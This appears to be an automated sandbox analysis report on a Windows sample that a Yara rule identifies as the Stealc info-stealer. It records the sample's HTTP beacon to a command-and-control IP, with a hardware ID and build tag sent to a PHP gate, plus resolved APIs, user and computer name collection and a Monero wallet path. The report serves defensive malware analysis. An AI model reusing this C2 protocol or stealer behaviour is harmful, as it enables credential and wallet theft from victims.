Oct 8, 2024 17:32:06.863954067 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7048	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 17:32:01.915771961 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 17:32:02.631208897 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 15:32:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 17:32:02.633812904 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 31 44 39 38 42 41 38 38 41 44 32 33 32 32 36 39 35 39 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="hwid"AF1D98BA88AD2322695909------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="build"doma------HJDBAFIECGHCBFIDGDAA--
Oct 8, 2024 17:32:02.906737089 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 15:32:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	11:31:57
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xfa0000
File size:	1'885'184 bytes
MD5 hash:	1666BDF952C77A910F9C69F491D5CC4B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1746507563.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1706081897.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	78.3%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00FB9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,008C2170), ref: 00FB98A1
GetProcAddress.KERNEL32(74DD0000,008C2320), ref: 00FB98BA
GetProcAddress.KERNEL32(74DD0000,008C22D8), ref: 00FB98D2
GetProcAddress.KERNEL32(74DD0000,008C22F0), ref: 00FB98EA
GetProcAddress.KERNEL32(74DD0000,008C2428), ref: 00FB9903
GetProcAddress.KERNEL32(74DD0000,008C91B0), ref: 00FB991B
GetProcAddress.KERNEL32(74DD0000,008B5430), ref: 00FB9933
GetProcAddress.KERNEL32(74DD0000,008B52B0), ref: 00FB994C
GetProcAddress.KERNEL32(74DD0000,008C2458), ref: 00FB9964
GetProcAddress.KERNEL32(74DD0000,008C23F8), ref: 00FB997C
GetProcAddress.KERNEL32(74DD0000,008C21A0), ref: 00FB9995
GetProcAddress.KERNEL32(74DD0000,008C21B8), ref: 00FB99AD
GetProcAddress.KERNEL32(74DD0000,008B5450), ref: 00FB99C5
GetProcAddress.KERNEL32(74DD0000,008C21E8), ref: 00FB99DE
GetProcAddress.KERNEL32(74DD0000,008C2200), ref: 00FB99F6
GetProcAddress.KERNEL32(74DD0000,008B53D0), ref: 00FB9A0E
GetProcAddress.KERNEL32(74DD0000,008C2218), ref: 00FB9A27
GetProcAddress.KERNEL32(74DD0000,008C2230), ref: 00FB9A3F
GetProcAddress.KERNEL32(74DD0000,008B5230), ref: 00FB9A57
GetProcAddress.KERNEL32(74DD0000,008C2248), ref: 00FB9A70
GetProcAddress.KERNEL32(74DD0000,008B5470), ref: 00FB9A88
LoadLibraryA.KERNEL32(008C24D0,?,00FB6A00), ref: 00FB9A9A
LoadLibraryA.KERNEL32(008C24A0,?,00FB6A00), ref: 00FB9AAB
LoadLibraryA.KERNEL32(008C24E8,?,00FB6A00), ref: 00FB9ABD
LoadLibraryA.KERNEL32(008C2500,?,00FB6A00), ref: 00FB9ACF
LoadLibraryA.KERNEL32(008C2530,?,00FB6A00), ref: 00FB9AE0
GetProcAddress.KERNEL32(75A70000,008C24B8), ref: 00FB9B02
GetProcAddress.KERNEL32(75290000,008C2470), ref: 00FB9B23
GetProcAddress.KERNEL32(75290000,008C2488), ref: 00FB9B3B
GetProcAddress.KERNEL32(75BD0000,008C2518), ref: 00FB9B5D
GetProcAddress.KERNEL32(75450000,008B5490), ref: 00FB9B7E
GetProcAddress.KERNEL32(76E90000,008C9120), ref: 00FB9B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00FB9BB6

Strings

NtQueryInformationProcess, xrefs: 00FB9BAA

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: c403630ce8ce39d0dba88153808d41b8dd18454ea0c14f14fe725acd8be8f4dc
Instruction ID: 38bb1b399e0d2bc6da2023e7bf271eef2e7c1e333bcc503738c78ff5ff5f36cc
Opcode Fuzzy Hash: c403630ce8ce39d0dba88153808d41b8dd18454ea0c14f14fe725acd8be8f4dc
Instruction Fuzzy Hash: F4A12DB99406409FD37CEFE8F5889563BF9FF8C302705853AA6268B24CD63A94C1DB50

Function 00FA45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00FA460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00FA479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FA466D

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: c912dca730f0dda883c5f0fd622077930b4181cfbf4e3ae7ec6aaceb9b5120fb
Instruction ID: cc5c3648e279c382ed3f68426742d192933257871dfac18fb9eb7c64ec2eba70
Opcode Fuzzy Hash: c912dca730f0dda883c5f0fd622077930b4181cfbf4e3ae7ec6aaceb9b5120fb
Instruction Fuzzy Hash: EC41F1606F7A057AC778B7A48D5BFDD76665F82F10FA0504CB80052282CFB8E5887727

Function 00FA4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

Part of subcall function 00FA47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FA4839
Part of subcall function 00FA47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FA4849

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00FA4915
StrCmpCA.SHLWAPI(?,008CEB98), ref: 00FA493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FA4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00FC0DDB,00000000,?,?,00000000,?,",00000000,?,008CEAB8), ref: 00FA4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FA4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00FA4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FA4E49
InternetCloseHandle.WININET(00000000), ref: 00FA4EAD
InternetCloseHandle.WININET(00000000), ref: 00FA4EC5
HttpOpenRequestA.WININET(00000000,008CEA38,?,008CE268,00000000,00000000,00400100,00000000), ref: 00FA4B15

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

InternetCloseHandle.WININET(00000000), ref: 00FA4ECF

Strings

", xrefs: 00FA4D33
------, xrefs: 00FA49BD
", xrefs: 00FA4BF2
------, xrefs: 00FA4C69
------, xrefs: 00FA4B28

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: dc7cb5f1598743e74b7f38e78cb57ee543ef502b7a513a0b3123ac50dbfe4f36
Instruction ID: 51cfc5bf3c0e2eb0050a00cab3d4a98ae08ee1a760f0232ba63ade2c5f39512e
Opcode Fuzzy Hash: dc7cb5f1598743e74b7f38e78cb57ee543ef502b7a513a0b3123ac50dbfe4f36
Instruction Fuzzy Hash: F5121F71910118AADB29EB91DDA2FEEB378BF14300F5041A9B10673491EF746F49EF62

Function 00FB78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FB7910
RtlAllocateHeap.NTDLL(00000000), ref: 00FB7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00FB792F

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 835719d76b3ea203905156543b944468e2a3375e9f0570272418ca8ee41b2ec1
Instruction ID: 956f6bc82b0e530cbc55540093fa929057c096b4d68c1883a414c6910ec286d9
Opcode Fuzzy Hash: 835719d76b3ea203905156543b944468e2a3375e9f0570272418ca8ee41b2ec1
Instruction Fuzzy Hash: 470162B1904205EBC714DFD5D945FAABBB8FB44B21F104229E555A7280D77459408BA1

Function 00FB7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FA11B7), ref: 00FB7880
RtlAllocateHeap.NTDLL(00000000), ref: 00FB7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00FB789F

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: a04bb21722a87135527dcb814ca5cac132ca86b829cdc8ed2ca0db00fb0f6850
Instruction ID: 5e4a00483e7a7b036c5c579192f605729323c33e93791009fd8e2abb5d9fb93f
Opcode Fuzzy Hash: a04bb21722a87135527dcb814ca5cac132ca86b829cdc8ed2ca0db00fb0f6850
Instruction Fuzzy Hash: 3AF04FB1D44208ABCB14DFD9D949FAEBBF8FB44711F10026AFA15A3680C77555448BA1

Function 00FA1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00FA116A
ExitProcess.KERNEL32 ref: 00FA117E

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
